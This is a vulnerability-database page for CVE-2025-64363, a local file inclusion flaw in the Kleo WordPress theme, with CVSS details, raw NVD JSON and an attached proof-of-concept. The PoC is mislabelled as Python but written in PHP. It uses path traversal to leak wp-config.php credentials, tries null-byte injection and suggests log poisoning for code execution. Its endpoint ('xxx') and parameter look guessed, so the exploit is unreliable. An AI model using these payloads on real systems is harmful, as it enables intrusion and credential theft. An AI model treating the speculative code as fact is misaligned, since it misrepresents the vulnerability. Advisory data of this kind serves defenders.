Security Vulnerability Report
中文
CVE-2025-64363 CVSS 7.5 HIGH

CVE-2025-64363

Published: 2025-10-31 12:15:37
Last Modified: 2026-04-15 00:35:42

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in SeventhQueen Kleo kleo allows PHP Local File Inclusion.This issue affects Kleo: from n/a through < 5.5.0.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

SeventhQueen Kleo < 5.5.0
Kleo主题所有版本 (n/a through 5.4.x)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-64363 PoC - Kleo Theme Local File Inclusion * Affected: Kleo Theme < 5.5.0 * Reference: https://patchstack.com/database/Wordpress/Theme/kleo/vulnerability/wordpress-kleo-theme-5-5-0-local-file-inclusion-vulnerability */ $target = 'http://target-site.com/wp-content/themes/kleo/xxx'; // Vulnerable endpoint $payload = '../../../wp-config.php'; // Path traversal to read config // Method 1: Basic LFI test $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $target . '?kleo_page=' . urlencode($payload)); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); $response = curl_exec($ch); curl_close($ch); if (strpos($response, 'DB_NAME') !== false) { echo "[+] LFI Successful - wp-config.php content leaked\n"; echo $response; } // Method 2: Using null byte injection (older PHP) $payload2 = '../../../wp-config.php%00'; $ch2 = curl_init(); curl_setopt($ch2, CURLOPT_URL, $target . '?kleo_page=' . urlencode($payload2)); curl_setopt($ch2, CURLOPT_RETURNTRANSFER, true); $response2 = curl_exec($ch2); curl_close($ch2); // Method 3: Log poisoning for RCE $log_file = '/var/log/apache2/access.log'; $payload3 = '../../../..' . $log_file; echo "[+] Try accessing: " . $target . "?kleo_page=" . urlencode($payload3); ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64363", "sourceIdentifier": "[email protected]", "published": "2025-10-31T12:15:36.850", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in SeventhQueen Kleo kleo allows PHP Local File Inclusion.This issue affects Kleo: from n/a through < 5.5.0."}, {"lang": "es", "value": "Control inadecuado del nombre de fichero para la declaración Include/Require en un programa PHP, vulnerabilidad ('Inclusión remota de ficheros PHP') en SeventhQueen Kleo kleo permite la Inclusión local de ficheros PHP. Este problema afecta a Kleo: desde n/a hasta &lt; 5.5.0."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/kleo/vulnerability/wordpress-kleo-theme-5-5-0-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}